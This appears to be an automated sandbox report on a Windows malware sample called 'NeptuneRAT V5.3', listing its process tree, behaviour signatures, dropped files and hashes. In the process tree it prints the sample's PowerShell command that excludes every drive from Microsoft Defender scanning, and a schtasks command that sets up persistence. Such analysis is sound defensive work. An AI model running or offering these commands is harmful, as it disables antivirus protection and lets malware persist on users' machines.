Analysis

  • user interaction
    yes
  • max time kernel
    129s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/08/2026, 13:44

Errors

Reason
Machine shutdown

General

  • Target
    NeptuneRAT V5.3.exe
  • Size 26.5MB
  • Sample260814-q13bracp71
  • SHA256 8ac32ae4d8c767998242ebaa84daaf881caa16389b258a384e1f22a1f5415f81
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 13 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks system information in the registry 2 TTPs 6 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\NeptuneRAT V5.3.exe
    "C:\Users\Admin\AppData\Local\Temp\NeptuneRAT V5.3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
      "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks system information in the registry
      • Suspicious use of WriteProcessMemory
      PID:2448
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        3⤵
        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious use of WriteProcessMemory
        PID:1268
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:1376
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1908
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks.exe /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3488
    • C:\Users\Admin\AppData\Roaming\MasonClient.exe
      C:\Users\Admin\AppData\Roaming\MasonClient.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks system information in the registry
      • Suspicious use of WriteProcessMemory
      PID:3384
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        2⤵
        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious use of WriteProcessMemory
        PID:296
        • C:\Windows\system32\chcp.com
          chcp 65001
          3⤵
            PID:5032
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3004
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks.exe /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5184
      • C:\Users\Admin\AppData\Roaming\MasonClient.exe
        "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
        1⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks system information in the registry
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\system32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          2⤵
          • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\System32\chcp.com
            chcp 65001
            3⤵
              PID:3724
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1688
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1216
          • C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM
            "C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2400
            • C:\Users\Admin\AppData\Local\Temp\MBR2.exe
              "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
              3⤵
              • Executes dropped EXE
              PID:1296
              • C:\Windows\System32\MatrixMBR.exe
                "C:\Windows\System32\MatrixMBR.exe"
                4⤵
                  PID:4924
                  • C:\Users\Admin\AppData\Local\Temp\GDI.exe
                    "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
                    5⤵
                      PID:5772
                    • C:\Users\Admin\AppData\Local\Temp\MBR.exe
                      "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
                      5⤵
                        PID:2132
                  • C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                    "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:5476
                  • C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                    "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:3512
                • C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM
                  "C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:5540
                  • C:\Users\Admin\AppData\Local\Temp\MBR2.exe
                    "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
                    3⤵
                    • Executes dropped EXE
                    PID:3584
                    • C:\Windows\System32\MatrixMBR.exe
                      "C:\Windows\System32\MatrixMBR.exe"
                      4⤵
                        PID:1232
                        • C:\Users\Admin\AppData\Local\Temp\GDI.exe
                          "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
                          5⤵
                            PID:2100
                          • C:\Users\Admin\AppData\Local\Temp\MBR.exe
                            "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
                            5⤵
                              PID:1680
                        • C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                          "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:668
                        • C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                          "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
                          3⤵
                          • Executes dropped EXE
                          PID:3796
                      • C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM
                        "C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:5916
                        • C:\Users\Admin\AppData\Local\Temp\MBR2.exe
                          "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
                          3⤵
                          • Executes dropped EXE
                          PID:5960
                          • C:\Windows\System32\MatrixMBR.exe
                            "C:\Windows\System32\MatrixMBR.exe"
                            4⤵
                              PID:2844
                          • C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                            "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
                            3⤵
                              PID:5640
                            • C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                              "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
                              3⤵
                                PID:3300
                          • C:\Windows\system32\AUDIODG.EXE
                            C:\Windows\system32\AUDIODG.EXE 0x00000000000004FC 0x00000000000004F4
                            1⤵
                              PID:360

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 695f6f65c407304bcf79cc3d67600c693f802a5f1f7a2508318b97ae11c25c08
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 ca806a1f5fd6e74f8734231dd1dbb5d3e2ca5f380657945173a9d630b5918198
                                  • MD5 SHA1 SHA512 TLSH

                                  GDI.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\GDI.exe
                                  • Size 11KB
                                  • SHA256 e153def894c867923dd56a7025b7b0b7bd3ee37c801a5957201d39f999bb28bf
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  MBR.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\MBR.exe
                                  • Size 93KB
                                  • SHA256 acddde9514e3b9d5c40b3d1750af5f4187c99f8987b027d6da44fb6bcf79b3ca
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  MBR2.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\MBR2.exe
                                  • Size 205KB
                                  • SHA256 c22e2419f04fe03a92255a139ca8814697962e86d191a1d4171788fd0c903f68
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  PekaBoo.COM

                                  • Path C:\Users\Admin\AppData\Local\Temp\PekaBoo.COM
                                  • Size 921KB
                                  • SHA256 c1aeab35f61f12db28274d82713bff400b808625854a18e49504022f92805e31
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  TROLL2.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                                  • Size 105KB
                                  • SHA256 dcdf5140bc51db27f3aec80ae9a66a57aad446a2522904d288770e8d8cde8cee
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  TROLL5.exe

                                  • Path C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                                  • Size 712KB
                                  • SHA256 79f00c7dab0891824136539fabd542c74e26cbed94b9add3f1aa7f793d653de6
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  __PSScriptPolicyTest_vxhhmjyh.wkp.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vxhhmjyh.wkp.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  ~msnDEV-8b32efb3b8e675f1.tmp

                                  • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-8b32efb3b8e675f1.tmp
                                  • Size 4B
                                  • SHA256 0f778ce0a3bdbce9b8059c778c3a8110828f5119fccae89764ad3bd2c6d06d7b
                                  • MD5 SHA1 SHA512

                                  ~msnDEV-8b32efb3b8e675f1.tmp

                                  • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-8b32efb3b8e675f1.tmp
                                  • Size 4B
                                  • SHA256 5e92e6b69859a29a3c58e4117f12b9b09c5f43033265c049d0ea2a4e4e3f2928
                                  • MD5 SHA1 SHA512

                                  MasonClient.exe

                                  • Path C:\Users\Admin\AppData\Roaming\MasonClient.exe
                                  • Size 60KB
                                  • SHA256 0fcef677b297d9ff5a0d8256bf458ef1ba110ed67194a4a5c62caf619702582c
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  MatrixMBR.exe

                                  • Path C:\Windows\System32\MatrixMBR.exe
                                  • Size 250KB
                                  • SHA256 339fe94164952a8454e6ec5fc75e2c38baade2c14b231e47bf41989ffbb55ee4
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/1296-134-0x00000000004C0000-0x00000000004FA000-memory.dmp

                                  memory/1908-28-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-38-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-27-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-26-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-32-0x000002086EED0000-0x000002086EF82000-memory.dmp

                                  memory/1908-31-0x000002086ECA0000-0x000002086ECBE000-memory.dmp

                                  memory/1908-33-0x000002086EC70000-0x000002086EC7A000-memory.dmp

                                  memory/1908-34-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-35-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-36-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-37-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-20-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-39-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-41-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-25-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-19-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-24-0x0000020856AA0000-0x0000020856AC2000-memory.dmp

                                  memory/1908-21-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/1908-18-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2400-106-0x0000000000C20000-0x0000000000D0C000-memory.dmp

                                  memory/2400-107-0x0000000002DC0000-0x0000000002EA4000-memory.dmp

                                  memory/2448-44-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/2968-4-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2968-3-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2968-8-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2968-17-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2968-2-0x0000000000770000-0x00000000021FE000-memory.dmp

                                  memory/2968-1-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2968-7-0x00007FFC3D2F0000-0x00007FFC3DC94000-memory.dmp

                                  memory/2968-0-0x00007FFC3D47F000-0x00007FFC3D480000-memory.dmp

                                  memory/3004-51-0x0000018B7B7C0000-0x0000018B7B872000-memory.dmp

                                  memory/3300-182-0x0000000000400000-0x000000000041D000-memory.dmp

                                  memory/3384-53-0x000000030FE60000-0x000000030FEBA000-memory.dmp

                                  memory/3384-64-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/3384-67-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/3384-66-0x000000030FE60000-0x000000030FEBA000-memory.dmp

                                  memory/3384-70-0x000000030FE60000-0x000000030FEBA000-memory.dmp

                                  memory/3512-161-0x0000000000400000-0x000000000041D000-memory.dmp

                                  memory/3796-163-0x0000000000400000-0x000000000041D000-memory.dmp

                                  memory/4532-94-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-93-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-90-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-91-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-92-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-97-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-150-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-96-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4532-95-0x00007FF718170000-0x00007FF718189000-memory.dmp

                                  memory/4924-160-0x0000000000230000-0x0000000000276000-memory.dmp

                                  memory/5476-146-0x0000000004DE0000-0x0000000004DEA000-memory.dmp

                                  memory/5476-142-0x0000000004E30000-0x0000000004EC2000-memory.dmp

                                  memory/5476-141-0x0000000005520000-0x0000000005ADA000-memory.dmp

                                  memory/5476-140-0x0000000000210000-0x00000000002C8000-memory.dmp

                                  memory/5772-180-0x0000000000820000-0x0000000000828000-memory.dmp